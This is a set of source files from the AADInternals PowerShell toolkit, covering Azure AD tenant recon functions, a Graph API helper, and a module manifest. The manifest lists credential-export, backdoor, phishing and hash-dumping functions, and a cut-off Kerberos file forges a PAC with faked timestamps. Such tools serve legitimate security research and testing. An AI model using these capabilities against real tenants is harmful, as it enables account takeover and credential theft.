<b:ContextHeaderName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Verify-EmailVerifiedDomain
function Verify-EmailVerifiedDomain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="VerifyEmailVerifiedDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:DomainName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Gets SharePoint Service Information
function Get-SPOServiceInformation
{
<#
.SYNOPSIS
Get SharePoint Online service information.
.DESCRIPTION
Get SharePoint Online service information.
.Parameter AccessToken
Access Token
.Example
PS C:\>Get-AADIntSPOServiceInformation
CreatedOn : 6/26/2018 11:16:12 AM
ServiceInformation_LastChangeDate : 9/27/2018 3:48:29 PM
EnableOneDriveforSuiteUsers : False
InstanceId : 13f137d4-1920-4174-8b37-d87acec0228a
LastModifiedOn : 9/27/2018 3:52:16 PM
OfficeGraphUrl : https://company-my.sharepoint.com/_layouts/15/me.aspx
RootAdminUrl : https://company-admin.sharepoint.com/
RootIWSPOUrl : https://company-my.sharepoint.com/
SPO_LegacyPublicWebSiteEditPage : Pages/Forms/AllItems.aspx
SPO_LegacyPublicWebSitePublicUrl :
SPO_LegacyPublicWebSiteUrl :
SPO_MySiteHostUrl : https://company-my.sharepoint.com/
SPO_MySiteHost_AboutMeUrl : https://company-my.sharepoint.com/person.aspx
SPO_MySiteHost_DocumentsUrl : https://company-my.sharepoint.com/_layouts/15/MySite.aspx?MySiteRedirect=AllDocuments
SPO_MySiteHost_NewsFeedUrl : https://company-my.sharepoint.com/default.aspx
SPO_MySiteHost_ProjectSiteUrl : https://company-my.sharepoint.com/_layouts/15/MyProjects.aspx
SPO_MySiteHost_SitesUrl : https://company-my.sharepoint.com/_layouts/15/MySite.aspx?MySiteRedirect=AllSites
SPO_PublicWebSitePublicUrl :
SPO_PublicWebSiteUrl : NotSupported
SPO_RegionalRootSiteUrl : https://company.sharepoint.com/
SPO_RootSiteUrl : https://company.sharepoint.com/
SPO_TenantAdminUrl : https://company-admin.sharepoint.com/
SPO_TenantAdmin_CreateSiteCollectionUrl : https://company-admin.sharepoint.com/_layouts/15/online/CreateSiteFull.aspx
SPO_TenantAdmin_ProjectAdminUrl : https://company-admin.sharepoint.com/
SPO_TenantAdmin_ViewSiteCollectionsUrl : https://company-admin.sharepoint.com/
SPO_TenantUpgradeUrl : https://company-admin.sharepoint.com/
ShowSites_InitialVisibility : True
ShowSkyDrivePro_InitialVisibility : True
ShowYammerNewsFeed_InitialVisibility : True
VideoPortalServerRelativeUrl : /portals/hub/_layouts/15/videohome.aspx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Set variables
$attributes=[ordered]@{}
# Get service information and parse SPO data
$ServiceInformation = Get-CompanyInformation -AccessToken $AccessToken
if($ServiceInformation.ServiceInformation)
{
$service_info=Parse-ServiceInformation $ServiceInformation.ServiceInformation
foreach($name in $service_info.Keys)
{
if($name.toLower().StartsWith("sharepoint"))
{
$value=$service_info[$name]
foreach($attribute in $value)
{
$attributes[$attribute.Name]=$attribute.Value
}
}
}
}
# Return
return New-Object -TypeName PSObject -Property $attributes
}
}
# Gets Office 365 service location
function Get-ServiceLocations
{
<#
.SYNOPSIS
Get service location information.
.DESCRIPTION
Get service location information.
.Parameter AccessToken
Access Token
.Example
PS C:\>Get-AADIntServiceLocations | Sort-Object Name | ft
Region Instance Name State Country
------ -------- ---- ----- -------
EU EUGB01 AadAllTenantsNotifications GB
NA NA003 AADPremiumService US
EU Prod03 Adallom GB
NA NA001 AzureAdvancedThreatAnalytics US
NA NA033 BDM US
NA * BecWSClients US
NA NA001 Deskless US
EU EU003 DirectoryToCosmos GB
EU EURP154-001-01 exchange IE
EU emea04-02 ExchangeOnlineProtection NL
NA NA001 Metro US
EU EMEA-1E-S2 MicrosoftCommunicationsOnline NL
NA NorthAmerica1 MicrosoftOffice US
NA NA001 MicrosoftStream US
NA NA001 MultiFactorService US
NA NA001 OfficeForms US
NA NA001 PowerAppsService US
EU EU001 PowerBI IR
NA NA001 ProcessSimple US
EU PROD_EU_Org_Ring_140 ProjectWorkManagement NL
EU EU RMSOnline NL
EU PROD_MSUB01_02 SCO IE
EU SPOS1265 SharePoint NL
NA NA002 SMIT US
NA NA001 Sway US
NA NA001 TeamspaceAPI US
NA NA001 To-Do US
NA NA003 YammerEnterprise US
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get service information
$ServiceInformation = Get-CompanyInformation -AccessToken $AccessToken
# Loop through services and return a PS object
foreach($service in $ServiceInformation.ServiceInstanceInformation.ServiceInstanceInformation)
{
$attributes=@{}
$attributes["Name"] = $service.ServiceInstance.Split("/")[0]
$attributes["Instance"] = $service.ServiceInstance.Split("/")[1]
$attributes["Country"] = $service.GeographicLocation.Country
$attributes["Region"] = $service.GeographicLocation.Region
$attributes["State"] = $service.GeographicLocation.State
# Return
New-Object -TypeName PSObject -Property $attributes
}
}
}
# Gets company tags
function Get-CompanyTags
{
<#
.SYNOPSIS
Get company tags.
.DESCRIPTION
Get company tags, such as tenant version and update status.
.Parameter AccessToken
Access Token
.Example
PS C:\>Get-AADIntCompanyTags
azure.microsoft.com/azure=active
o365.microsoft.com/startdate=635711754831829038
o365.microsoft.com/version=15
o365.microsoft.com/signupexperience=GeminiSignUpUI
o365.microsoft.com/14to15UpgradeScheduled=True
o365.microsoft.com/14to15UpgradeCompletedDate=04-16-2013
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get service information
$ServiceInformation = Get-CompanyInformation -AccessToken $AccessToken
# Return
$ServiceInformation.CompanyTags.string
}
}
# Gets service plans
function Get-ServicePlans
{
<#
.SYNOPSIS
Get service plans.
.DESCRIPTION
Get service plans assigned to tenant.
.Parameter AccessToken
Access Token
.Example
PS C:\>Get-AADServicePlans | ft
SKU ServicePlanId ServiceName ServiceType AssignedTimestamp CapabilityStatus ProvisioningStatus
--- ------------- ----------- ----------- ----------------- ---------------- ------------------
ENTERPRISEPREMIUM b1188c4c-1b36-4018-b48b-ee07604f6feb PAM_ENTERPRISE Exchange 2018-09-27T15:47:45Z Enabled Success
76846ad7-7776-4c40-a281-a386362dd1b9 ProcessSimple 2018-09-27T15:47:25Z Deleted
c87f142c-d1e9-4363-8630-aaea9c4d9ae5 To-Do 2018-09-27T15:47:24Z Deleted
c68f8d98-5534-41c8-bf36-22fa496fa792 PowerAppsService 2018-09-27T15:47:25Z Deleted
9e700747-8b1d-45e5-ab8d-ef187ceec156 MicrosoftStream 2018-09-27T15:47:25Z Deleted
2789c901-c14e-48ab-a76a-be334d9d793a OfficeForms 2018-09-27T15:47:25Z Deleted
ENTERPRISEPREMIUM 9f431833-0334-42de-a7dc-70aa40db46db LOCKBOX_ENTERPRISE Exchange 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 3fb82609-8c27-4f7b-bd51-30634711ee67 BPOS_S_TODO_3 To-Do 2018-08-27T05:46:50Z Enabled Success
ENTERPRISEPREMIUM 7547a3fe-08ee-4ccb-b430-5077c5041653 YAMMER_ENTERPRISE YammerEnterprise 2018-08-27T05:46:51Z Enabled Success
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get service information
$TenantInformation = Get-TenantDetails -AccessToken $AccessToken
# Get SKUs
$skus = Get-AccountSkus -AccessToken $AccessToken
foreach($plan in $TenantInformation.assignedPlans)
{
$attributes = @{}
$attributes.AssignedTimestamp = $plan.assignedTimestamp
$attributes.CapabilityStatus = $plan.capabilityStatus
$attributes.ServicePlanId = $plan.servicePlanId
# Get info from sku
$skuInfo = Get-SkuAndServiceName -SKUs $skus -ServicePlanId $plan.servicePlanId
$attributes.SKU = $skuInfo.SkuName
$attributes.ServiceType = $skuInfo.ServiceType
$attributes.ServiceName = $skuInfo.ServiceName
$attributes.ProvisioningStatus = $skuInfo.ProvisioningStatus
# If or not attached to any sku or if deleted, no info in SKU
if([string]::IsNullOrEmpty($attributes.ServiceType))
{
$attributes.ServiceType = $plan.service
}
New-Object psobject -Property $attributes
}
}
} |
MSGraphAPI_utils.ps1 | AADInternals-0.9.4 | # This script contains utility functions for MSGraph API at https://graph.microsoft.com
# Calls the provisioning SOAP API
function Call-MSGraphAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$API,
[Parameter(Mandatory=$False)]
[String]$ApiVersion="beta",
[Parameter(Mandatory=$False)]
[String]$Method="GET",
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$False)]
$Headers,
[Parameter(Mandatory=$False)]
[String]$QueryString,
[Parameter(Mandatory=$False)]
[int]$MaxResults=1000
)
Process
{
if($Headers -eq $null)
{
$Headers=@{}
}
$Headers["Authorization"] = "Bearer $AccessToken"
# Create the url
$url = "https://graph.microsoft.com/$($ApiVersion)/$($API)?$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})"
# Call the API
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
}
catch
{
$errorMessage = $_.Exception.Message
try
{
$errorResponse = Get-ErrorStreamMessage -errorStream $_.Exception.Response.GetResponseStream() | ConvertFrom-Json
if($errorResponse.error.message)
{
$errorMessage = $errorResponse.error.message
}
}
catch{}
throw $errorMessage
}
# Check if we have more items to fetch
if($response.psobject.properties.name -match '@odata.nextLink')
{
$items=$response.value.count
# Loop until finished or MaxResults reached
while(($url = $response.'@odata.nextLink') -and $items -lt $MaxResults)
{
# Return
$response.value
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
$items+=$response.value.count
}
# Return
$response.value
}
else
{
# Return
if($response.psobject.properties.name -match "Value")
{
return $response.value
}
else
{
return $response
}
}
}
}
|
AADInternals.psd1 | AADInternals-0.9.4 | @{
# Script module or binary module file associated with this manifest.
RootModule = 'AADInternals.psm1'
# Version number of this module.
ModuleVersion = '0.9.4'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'eebccc08-baea-4ac4-9e05-67d16d43e8b1'
# Author of this module
Author = 'Dr Nestori Syynimaa'
# Company or vendor of this module
CompanyName = 'Gerenios Ltd'
# Copyright statement for this module
Copyright = '(c) 2018 - 2024 Nestori Syynimaa (@DrAzureAD). Distributed under MIT license.'
# Description of the functionality provided by this module
Description = 'The AADInternals PowerShell Module utilises several internal features of Azure Active Directory, Office 365, and related admin tools.
AADInternals allows you to export ADFS certificates, Azure AD Connect passwords, and modify numerous Azure AD / Office 365 settings not otherwise possible.
DISCLAIMER: Functionality provided through this module are not supported by Microsoft and thus should not be used in a production environment. Use on your own risk!
'
# Minimum version of the Windows PowerShell engine required by this module
# PowerShellVersion = ''
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
NestedModules = @(
".\AADSyncSettings.ps1"
".\AccessPackages.ps1"
".\AccessToken.ps1"
".\AccessToken_utils.ps1"
".\ActiveSync.ps1"
".\ActiveSync_utils.ps1"
".\ADFS.ps1"
".\ADFS_utils.ps1"
".\AD_utils.ps1"
".\AdminAPI.ps1"
".\AdminAPI_utils.ps1"
".\AMQP.ps1"
".\AzureADConnectAPI.ps1"
".\AzureADConnectAPI_utils.ps1"
".\AzureCoreManagement.ps1"
".\AzureManagementAPI.ps1"
".\AzureManagementAPI_utils.ps1"
".\B2C.ps1"
".\CBA.ps1"
".\ClientTools.ps1"
".\CloudShell.ps1"
".\CloudShell_utils.ps1"
".\CommonUtils.ps1"
".\ComplianceAPI.ps1"
".\ComplianceAPI_utils.ps1"
".\DCaaS.ps1"
".\DCaaS_utils.ps1"
".\Device.ps1"
".\Device_utils.ps1"
".\DRS_Utils.ps1"
".\FederatedIdentityTools.ps1"
".\GraphAPI.ps1"
".\GraphAPI_utils.ps1"
".\HybridHealthServices.ps1"
".\HybridHealthServices_utils.ps1"
".\IPUtils.ps1"
".\Kerberos.ps1"
".\Kerberos_utils.ps1"
".\KillChain.ps1"
".\KillChain_utils.ps1"
".\md4.ps1"
".\MDM.ps1"
".\MDM_utils.ps1"
".\MFA.ps1"
".\MFA_utils.ps1"
".\MSAppProxy.ps1"
".\MSAppProxy_utils.ps1"
".\MSCommerce.ps1"
".\MSPartner.ps1"
".\MSPartner_utils.ps1"
".\MSGraphAPI.ps1"
".\MSGraphAPI_utils.ps1"
".\OfficeApps.ps1"
".\OneDrive.ps1"
".\OneDrive_utils.ps1"
".\OneNote.ps1"
".\OutlookAPI.ps1"
".\OutlookAPI_utils.ps1"
".\ProcessTools.ps1"
".\ProvisioningAPI.ps1"
".\ProvisioningAPI_utils.ps1"
".\ProxySettings.ps1"
".\PRT.ps1"
".\PRT_Utils.ps1"
".\PSRP.ps1"
".\PSRP_utils.ps1"
".\PTA.ps1"
".\SARA.ps1"
".\SARA_utils.ps1"
".\SPMT.ps1"
".\SPMT_utils.ps1"
".\SPO.ps1"
".\SPO_utils.ps1"
".\SQLite.ps1"
".\SyncAgent.ps1"
".\TBRES.ps1"
".\Teams.ps1"
".\Teams_utils.ps1"
".\WBAWeaponiser.ps1"
)
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @(
# ADFS.ps1
"Export-ADFSCertificates"
"Export-ADFSConfiguration"
"Export-ADFSEncryptionKey"
"Set-ADFSConfiguration"
"Get-ADFSPolicyStoreRules"
"Set-ADFSPolicyStoreRules"
"Unprotect-ADFSRefreshToken"
"New-ADFSRefreshToken"
# ADFS_utils.ps1
"New-ADFSSelfSignedCertificates"
"Restore-ADFSAutoRollover"
"Update-ADFSFederationSettings"
"Get-ADFSConfiguration"
# AccessPackages.ps1
"Get-AccessPackageAdmins"
"Get-AccessPackageCatalogs"
"Get-AccessPackages"
# AccessToken.ps1
"Get-AccessTokenFromCache"
"Get-AccessToken"
"Get-AccessTokenWithRefreshToken"
"Get-AccessTokenForAADGraph"
"Get-AccessTokenForMSGraph"
"Get-AccessTokenForPTA"
"Get-AccessTokenForEXO"
"Get-AccessTokenForSARA"
"Get-AccessTokenForOneDrive"
"Get-AccessTokenForOfficeApps"
"Get-AccessTokenForAzureCoreManagement"
"Get-AccessTokenForSPO"
"Get-AccessTokenForMySignins"
"Get-AccessTokenForAADJoin"
"Get-AccessTokenForIntuneMDM"
"Get-AccessTokenForCloudShell"
"Get-AccessTokenForTeams"
"Get-AccessTokenForMSCommerce"
"Get-AccessTokenForMSPartner"
"Get-AccessTokenForAdmin"
"Get-AccessTokenForOneNote"
"Get-AccessTokenForWHfB"
"Unprotect-EstsAuthPersistentCookie"
"Get-AccessTokenUsingIMDS"
"Get-AccessTokenForSPOMigrationTool"
"Get-AccessTokenForAccessPackages"
# AccessToken_utils.ps1
"Get-LoginInformation"
"Read-AccessToken"
"Get-EndpointInstances"
"Get-EndpointIps"
"Get-OpenIDConfiguration"
"Get-TenantId"
"Get-TenantDomains"
"Get-Cache"
"Clear-Cache"
"Add-AccessTokenToCache"
"Export-TeamsTokens"
"Export-AzureCliTokens"
"Export-TokenBrokerTokens"
"Get-FOCIClientIDs"
# GraphAPI.ps1
"Get-TenantDetails"
"Get-Devices"
"Get-UserDetails"
"Get-ServicePrincipals"
"Get-ConditionalAccessPolicies"
"Get-AzureADPolicies"
"Set-AzureADPolicyDetails"
"Get-AzureADFeature"
"Get-AzureADFeatures"
"Set-AzureADFeature"
"Add-SyncFabricServicePrincipal"
# ProvisioningAPI.ps1
"Set-DomainAuthentication"
"Get-CompanyInformation"
"Get-SPOServiceInformation"
"Get-ServiceLocations"
"Get-CompanyTags"
"Get-ServicePlans"
"Get-Subscriptions"
"Get-Users"
"Get-User"
"Remove-User"
"New-User" # TODO: remove unused parameters
"Set-User" # TODO: remove unused parameters
"Get-GlobalAdmins"
"New-Domain" # TODO: remove unused parameters
"Set-ADSyncEnabled"
"Get-MSPartnerContracts"
#FederatedIdentityTools.ps1
"New-SAMLToken"
"New-SAML2Token"
"Get-ImmutableID"
"ConvertTo-Backdoor"
"Open-Office365Portal"
# AzureADConnectAPI.ps1
"Get-SyncConfiguration"
"Set-AzureADObject"
"Remove-AzureADObject"
"Get-SyncObjects"
"Set-UserPassword"
"Reset-ServiceAccount"
"Set-PassThroughAuthenticationEnabled"
#"Set-PasswordHashSyncEnabled"
"Set-SyncFeatures"
"Get-SyncFeatures"
"Set-DesktopSSOEnabled"
"Get-DesktopSSO"
"Set-DesktopSSO"
"Get-KerberosDomainSyncConfig"
"Get-WindowsCredentialsSyncConfig"
"Get-SyncDeviceConfiguration"
"Join-OnPremDeviceToAzureAD"
"Set-AzureADGroupMember"
# AzureManagementAPI_utils.ps1
"Get-AccessTokenForAADIAMAPI"
"Get-AccessTokenForAzureMgmtAPI"
"New-MOERADomain"
# AzureManagementAPI.ps1
"New-GuestInvitation"
"Get-AzureInformation"
"Get-AADConnectStatus"
# ActiveSync.ps1
"Get-EASAutoDiscover"
"Get-EASAutoDiscoverV1"
"Get-EASOptions"
"Send-EASMessage"
"Add-EASDevice"
"Set-EASSettings"
# OutlookAPI.ps1
"Send-OutlookMessage"
"Open-OWA"
# PSRP.ps1
"Get-MobileDevices"
"Get-UnifiedAuditLogSettings"
"Set-UnifiedAuditLogSettings"
# AADSyncSettings.ps1
"Get-SyncCredentials"
"Update-SyncCredentials"
"Get-SyncEncryptionKeyInfo"
"Get-SyncEncryptionKey"
# PTASpy.ps1
"Install-PTASpy"
"Remove-PTASpy"
"Get-PTASpyLog"
# ClientTools.ps1
"Get-OfficeUpdateBranch"
"Set-OfficeUpdateBranch"
# SARA.ps1
"Get-SARAUserInfo"
"Get-SARATenantInfo"
"Test-SARAPort"
"Resolve-SARAHost"
# SPO_utils.ps1
"Get-SPOAuthenticationHeader"
# SPO.ps1
"Get-SPOSiteUsers"
"Get-SPOSiteGroups"
"Get-SPOUserProperties"
"Set-SPOSiteMembers"
"Export-SPOSiteFile"
# SPMT.ps1
"Add-SPOSiteFiles"
"Update-SPOSiteFile"
# Kerberos.ps1
"New-KerberosTicket"
# PTA.ps1
"Register-PTAAgent"
"Set-PTACertificate"
# OneDrive_utils.ps1
"New-OneDriveSettings"
# OneDrive.ps1
"Get-OneDriveFiles"
"Send-OneDriveFile"
# MFA.ps1
"Get-UserMFA"
"Set-UserMFA"
"New-OTP"
"New-OTPSecret"
"Get-UserMFAApps"
"Set-UserMFAApps"
"Register-MFAApp"
# SyncAgent.ps1
"Register-SyncAgent"
# MSAppProxy.ps1
"Get-ProxyAgents"
"Get-ProxyAgentGroups"
"Export-ProxyAgentCertificates"
"Export-ProxyAgentBootstraps"
# AD_Utils.ps1
"Get-DPAPIKeys"
"Get-LSASecrets"
"Get-LSABackupKeys"
"Get-UserMasterkeys"
"Get-LocalUserCredentials"
"Get-SystemMasterkeys"
# AzureCoreManagement.ps1
"Get-AzureClassicAdministrators"
"Grant-AzureUserAccessAdminRole"
"Get-AzureSubscriptions"
"Set-AzureRoleAssignment"
"Get-AzureResourceGroups"
"Get-AzureVMs"
"Invoke-AzureVMScript"
"Get-AzureVMRdpSettings"
"Get-AzureTenants"
"Get-AzureDiagnosticSettingsDetails"
"Set-AzureDiagnosticSettingsDetails"
"Get-AzureDiagnosticSettings"
"Remove-AzureDiagnosticSettings"
"Get-AzureDirectoryActivityLog"
# MSGraphAPI.ps1
"Get-AzureSignInLog"
"Get-AzureAuditLog"
"Get-TenantAuthPolicy"
"Get-TenantGuestAccess"
"Set-TenantGuestAccess"
"Enable-TenantMsolAccess"
"Disable-TenantMsolAccess"
"Get-RolloutPolicies"
"Get-RolloutPolicyGroups"
"Add-RolloutPolicyGroups"
"Remove-RolloutPolicyGroups"
"Remove-RolloutPolicy"
"Set-RolloutPolicy"
"Get-TenantDomain"
"Get-B2CEncryptionKeys"
# KillChain.ps1
"Invoke-UserEnumerationAsOutsider"
"Invoke-ReconAsOutsider"
"Invoke-ReconAsGuest"
"Invoke-UserEnumerationAsGuest"
"Invoke-ReconAsInsider"
"Invoke-UserEnumerationAsInsider"
"Invoke-Phishing"
# WBAWeaponiser.ps1
"New-InvitationVBA"
# PRT.ps1
"Get-UserPRTToken"
"Get-UserPRTKeys"
"New-UserPRTToken"
"Join-DeviceToAzureAD"
"New-P2PDeviceCertificate"
"Remove-DeviceFromAzureAD"
"Get-DeviceRegAuthMethods"
"Set-DeviceRegAuthMethods"
"Get-DeviceTransportKey"
"Set-DeviceTransportKey"
"New-BulkPRTToken"
"Set-DeviceWHfBKey"
# MDM.ps1
"Join-DeviceToIntune"
"Start-DeviceIntuneCallback"
"Set-DeviceCompliant"
"Get-DeviceCompliance"
# CloudShell.ps1
"Start-CloudShell"
# CommonUtils.ps1
"Get-Error"
"New-Certificate"
"Get-AzureWireServerAddress"
"Read-Configuration"
"Save-Configuration"
"Get-Configuration"
"Set-Setting"
"Set-UserAgent"
# Teams.ps1
"Get-SkypeToken"
"Set-TeamsAvailability"
"Set-TeamsStatusMessage"
"Search-TeamsUser"
"Send-TeamsMessage"
"Get-TeamsMessages"
"Remove-TeamsMessages"
"Set-TeamsMessageEmotion"
"Find-TeamsExternalUser"
"Get-TeamsAvailability"
"Get-Translation"
"Get-MyTeams"
"Get-TeamsExternalUserInformation"
# Teams_utils.ps1
"Get-TeamsUserSettings"
# DRS_Utils.ps1
"Get-ADUserNTHash"
"Get-ADUserThumbnailPhoto"
"Get-DesktopSSOAccountPassword"
# HybridHealthServices.ps1
"New-HybridHealthService"
"Get-HybridHealthServices"
"Remove-HybridHealthService"
"Get-HybridHealthServiceMembers"
"New-HybridHealthServiceMember"
"Remove-HybridHealthServiceMember"
"Get-HybridHealthServiceMonitoringPolicies"
"Send-HybridHealthServiceEvents"
"Register-HybridHealthServiceAgent"
# HybridHealthServices_utils.ps1
"New-HybridHealtServiceEvent"
"Get-HybridHealthServiceAgentInfo"
# MSCommerce.ps1
"Get-SelfServicePurchaseProducts"
"Set-SelfServicePurchaseProduct"
# ComplianceAPI.ps1
"Get-ComplianceAPICookies"
"Search-UnifiedAuditLog"
# MSPartner.ps1
"New-MSPartnerDelegatedAdminRequest"
#"New-MSPartnerTrialOffer"
#"Get-MSPartnerOffers"
#"Get-MSPartnerPublishers"
"Get-MSPartnerOrganizations"
"Get-MSPartnerRoleMembers"
"Find-MSPartners"
# AdminAPI.ps1
"Approve-MSPartnerDelegatedAdminRequest"
"Remove-MSPartnerDelegatedAdminRoles"
"Get-MSPartners"
"Get-TenantOrganisationInformation"
"Get-AccessTokenUsingAdminAPI"
# Device.ps1
"Export-LocalDeviceCertificate"
"Export-LocalDeviceTransportKey"
"Join-LocalDeviceToAzureAD"
"Get-LocalDeviceJoinInfo"
# ProxySettings.ps1
"Set-ProxySettings"
# OneNote.ps1
"Start-Speech"
# CBA.ps1
"Get-AdminPortalAccessTokenUsingCBA"
"Get-PortalAccessTokenUsingCBA"
# DCaaS.ps1
"Get-UserNTHash"
"Install-ForceNTHash"
"Remove-ForceNTHash"
"Initialize-FullPasswordSync"
# B2C.ps1
"New-B2CRefreshToken"
"New-B2CAuthorizationCode"
)
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('Office365','Microsoft365','Azure','AAD','Security')
# A URL to the license for this module.
LicenseUri = 'https://raw.githubusercontent.com/Gerenios/AADInternals/master/LICENSE.md'
# A URL to the main website for this project.
ProjectURI = 'https://aadinternals.com/aadinternals'
# A URL to an icon representing this module.
IconUri = 'https://aadinternals.com/images/favicon-128.png'
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
HelpInfoURI = 'https://aadinternals.com/aadinternals'
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
DefaultCommandPrefix = 'AADInt'
}
|
Kerberos.ps1 | AADInternals-0.9.4 | # Generates PAC for the kerberos ticket
# Aug 8th 2019
Function New-PAC
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[String]$UserDisplayName,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[String]$ServerName,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$True)]
[String]$DomainDNSName,
[Parameter(Mandatory=$True)]
[Byte[]]$Sid,
[Parameter(Mandatory=$False)]
[String]$Password,
[Parameter(Mandatory=$False)]
[String]$Hash,
[Parameter(Mandatory=$True)]
[DateTime]$AuthTime,
[Parameter(Mandatory=$False)]
[Int]$SequenceNumber=([System.Random]::new()).Next(),
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec
[Parameter(Mandatory=$False)]
[Int]$UserAccountControl=0x00000080 # USER_WORKSTATION_TRUST_ACCOUNT #0x00000010 <# USER_NORMAL_ACCOUNT #> -bor 0X00000200 <# USER_DONT_EXPIRE_PASSWORD #>
)
Process
{
# Set the timestamps
$DeviceId = $authTime # MUST be same than authTime
$LogonTime = $DeviceId.AddMinutes(-10) # We've logged in 10 minutes ago :)
$PwdLastChangeTime = (Get-Date).AddDays(-10) # We've changed our password 10 days ago,
$PwdCanChangeTime = $PwdLastChangeTime.AddDays(1) # so we could've changed it 9 days ago
# Convert names to Unicode byte strings
$bDomainName = [system.text.encoding]::unicode.GetBytes( $DomainName)
$bUserName = [system.text.encoding]::unicode.GetBytes( $UserName)
$bUserDisplayName = [system.text.encoding]::unicode.GetBytes( $UserDisplayName)
$bServerName = [system.text.encoding]::unicode.GetBytes( $ServerName)
$bDomainDNSName = [system.text.encoding]::unicode.GetBytes( $DomainDNSName)
$bUserPrincipalName = [system.text.encoding]::unicode.GetBytes($UserPrincipalName)
# Extract the user and domain sids
$bUserSid = $Sid[24..27]
$bDomainSid = $Sid[0..23]
$bDomainSid[1]=4 # Need to change from 5 to 4
# Construct the PACs
$LOGON_INFORMATION=[byte[]]@(
@(0x01) # Version = 0x01
@(0x10) # Endianness (=little endian)
@(0x08, 0x00) # Length = 0x08
@(0xCC, 0xCC, 0xCC, 0xCC) # Filler
@(0x00, 0x00, 0x00, 0x00) # Length of the info buffer (placeholder)
@(0x00, 0x00, 0x00, 0x00) # Zeros
@(0x00, 0x00, 0x02, 0x00) # User info pointer
[System.BitConverter]::GetBytes($LogonTime.ToFileTimeUtc()) # LogonTime
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # LogOffTime
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # KickOffTime
[System.BitConverter]::GetBytes($PwdLastChangeTime.ToFileTimeUtc()) # PwdLastChangeTime
[System.BitConverter]::GetBytes($PwdCanChangeTime.ToFileTimeUtc()) # PwdCanChangeTime
